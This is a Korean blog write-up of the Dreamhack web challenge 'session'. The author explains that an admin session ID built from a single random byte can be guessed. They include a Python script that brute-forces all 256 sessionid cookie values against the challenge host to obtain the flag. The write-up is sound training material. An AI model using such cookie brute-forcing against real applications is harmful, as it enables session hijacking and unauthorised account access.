또 뭐하지

[Dreamhack] session 본문

Write-up/Web

[Dreamhack] session

mameul 2024. 4. 3. 17:29
728x90


풀이

문제 코드를 살펴보니 지난 번에 풀었던 session-basic과 비슷하다. 그 차이를 살펴보니 admin의 session_id을 생성할 때 os.urandom(4).hex()가 아닌 os.urandom(1).hex()를 사용하고 있다.

 

그 차이가 무엇인지 파이썬을 돌려보니 숫자가 byte 크기를 나타내고 있었다. 그렇다면 admin의 session_id는 작은 범위 내에서 랜덤하게 돌아가니 brute-force를 해야겠다고 생각했다.

 

[버프스위트 설치]

 

Burp Suite (버프 스위트) - 1. 설치 및 사용 방법

1. Burp Suite (버프 스위트) 대표적인 웹 애플리케이션 보안 테스트 도구로 스캐닝을 포함하여 다양한 유형의 보안 테스트 수행이 가능합니다. 주요 기능 중 하나는 웹 브라우저와 대상 애플리케이

seo-security.tistory.com

 

[버프스위트 브루트포스]

 

[WEBHACKING] burp suite Intruder 기능으로 Brute Force 공격 실습

Intruder Intruder는 웹 어플리케이션을 향해 반복적인 것을 시도해주는 기능이다. 이 기능을 사용하여서 반복 공격인 브루트 포스 공격을 해보겠다. Position Positions 탭은 payload(페이로드)가 들어갈 위

velog.io

전수조사를 어떻게 해야하나 하다가 버프 스위트를 사용하면 된다길래 위 글을 참고했다.

 

시도를 했지만 학교 인터넷이랑 충돌이 나는지 실패했다...

 

이번에는 파이썬 코드를 작성해서 전수조사를 진행해보기로 했다.

guest로 로그인했을 때 HTML 파일을 확인해보면 h3 tag가 있는 곳에 필요한 정보가 출력되는 것을 알 수 있었다. 이를 힌트로 삼아 admin의 sessionid가 입력되면 h3값이 출력될 것이라고 예상하고 코드를 작성하였다.

import requests
from bs4 import BeautifulSoup

for i in range(256):
    session_id = format(i, '02x')
    cookies = {'sessionid': session_id}
    response = requests.get('http://host3.dreamhack.games:19640/', cookies=cookies)  
    # BeautifulSoup을 사용하여 HTML 파싱
    soup = BeautifulSoup(response.text, 'html.parser')
    h3_tag = soup.find('h3')
    if h3_tag:
        print(cookies, h3_tag.text.strip())
        break
    else:
        print("텍스트를 찾을 수 없습니다.")

위와 같은 코드를 작성하여 실행결과 아래와 같이 flag 값을 얻을 수 있었다.

이 때 알아낸 sessionid 값을 쿠키값으로 입력했을 때 아래와 같이 flag값이 출력되는 것도 확인할 수 있었다. 

 

'Write-up > Web' 카테고리의 다른 글

[Dreamhack] simple_sqli  (0) 2024.04.05
[Dreamhack] csrf-2  (0) 2024.04.05
[Dreamhack] session-basic  (0) 2024.04.03
[Dreamhack] Cookie  (0) 2024.04.03
[Dreamhack] devtools-sources  (0) 2024.03.29